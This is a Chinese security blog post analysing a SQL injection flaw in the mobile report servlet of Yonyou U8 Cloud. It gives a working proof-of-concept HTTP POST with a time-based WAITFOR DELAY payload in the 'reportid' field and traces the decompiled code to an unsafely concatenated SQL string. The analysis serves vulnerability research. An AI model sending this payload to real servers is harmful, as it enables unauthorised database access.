freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

用友U8 Cloud移动报表mobilereport接口SQL注入漏洞分析
chobits02 2025-03-26 08:20:57 38516
所属地 江苏省

前言

好久没写漏洞分析文章了,这里就拿一个没有完全公开的用友U8 Cloud漏洞分析来展开话题吧

漏洞全称是:用友 U8cloud所有版本移动报表mobilereport接口存在SQL注入漏洞


最早出现在23年的9月份,当时CNVD接收到报告,获知漏洞信息:

CNVD-C-2023-655149用友u8 cloud存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据。具体漏洞细节没有公开,需要自己对照源码进行分析。

1742893637_67e27245e1e425dceff1e.png!small?1742893638898

漏洞分析

开门见山,该SQL注入漏洞利用的POC如下,这里就简单说下用友U8 Cloud的请求/servlet前缀的都经过NCInvokerServlet处理的,方法主要功能是获得url路径后,如果是以/~开头,截取第一部分为moduleName,然后再截取第二部分为serviceName,再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用,所以这里才能调用到对应方法

POST /servlet/~iufo/nc.itf.iufo.mobilereport.data.ReportDetailDataQuery HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close

{"reportid":"';WAITFOR DELAY '0:0:5'--"}

咱们来分析下,定位到方法ReportDetailDataQuery

1742894736_67e2769076860a6ef1b1d.png!small?1742894736960

主要代码如下,doAction方法直接接收请求执行

public void doAction(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    String usercode = request.getParameter("usercode");
    usercode = "18701014496";
    String formPK = request.getParameter("reportid");
    String accJson = HttpRequestUtil.acceptJSON(request);
    Gson gson = new Gson();
    Map requestMap = (Map)gson.fromJson(accJson, Map.class);
    formPK = (String)requestMap.get("reportid");
    IReportDataQuery dataQuery = (IReportDataQuery)NCLocator.getInstance().lookup(IReportDataQuery.class);
    Map<String, Object> rettotalMap = new HashMap<>();
    try {
      rettotalMap.put("success", Boolean.valueOf(true));
      rettotalMap.put("message", ");
      ReportDataVO datavo = dataQuery.queryVO(formPK);
      Map<String, Object> retMap = getRetObj(datavo);
      rettotalMap.put("data", retMap);
    } catch (BusinessException e) {
      AppDebug.debug((Throwable)e);
      e.printStackTrace();
      rettotalMap.put("success", Boolean.valueOf(false));
      rettotalMap.put("message", e.getMessage());
    } 
    String retjson = gson.toJson(rettotalMap);
    response.setContentType("text/html;charset=utf-8");
    response.getWriter().print(retjson);
    response.flushBuffer();
    response.getWriter().close();
  }

接收请求后,指定usercode为18701014496,指定reportid为用户传参的值

追踪reportid传参,传入下面方法中,咱们继续追踪

dataQuery.queryVO(formPK)

来到方法queryVO中,代码如下

public class ReportDataQueryImpl implements IReportDataQuery {
  public ReportDataVO queryVO(String formid) throws BusinessException {
    IMobileQueryService formService = (IMobileQueryService)NCLocator.getInstance().lookup(IMobileQueryService.class);
    ReportFormVO parentvo = formService.queryVOByPk(formid);
    IReportMeasureService measureService = (IReportMeasureService)NCLocator.getInstance().lookup(IReportMeasureService.class);
    ReportMeasureVO[] measureVOs = measureService.queryMeasureVOs(formid);
    ReportDataVO dataVO = new ReportDataVO();
    dataVO.setParentVO(parentvo);
    dataVO.setChildVOs(measureVOs);
    return dataVO;
  }

1742895047_67e277c7a21a7adcd536f.png!small?1742895047950

此处reportid当作formid传参,又传入了对应的queryVOByPk的方法当中

来到queryVOByPk方法,咱们可以看到原来参数是直接拼接到SQL语句当中

1742947734_67e3459676ca2c4552a6c.png!small?1742947733674

关键代码为

String sql = " reportformid = '" + reportformid + "'";

因此这里可以直接闭合reportformid参数,使用';闭合完成,执行其他的SQL语句

poc就为

';WAITFOR DELAY '0:0:5'--

通过参数reportid进行传参,咱们来验证下

1742948148_67e3473493a16f0584759.png!small?1742948147589

请求成功,延时5秒验证存在漏洞


# 漏洞 # 渗透测试 # web安全 # 漏洞分析 # CTF
本文为 chobits02 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
chobits02 LV.4
网络安全的尽头是? C4安全团队 | 公众号:C4安全团队
  • 21 文章数
  • 75 关注者
Java代码审计 | 华天动力OA漏洞分析两则
2025-03-07
一次Jwt伪造漏洞实战案例分析
2024-12-24
Burp插件编写简易教程
2024-12-09
文章目录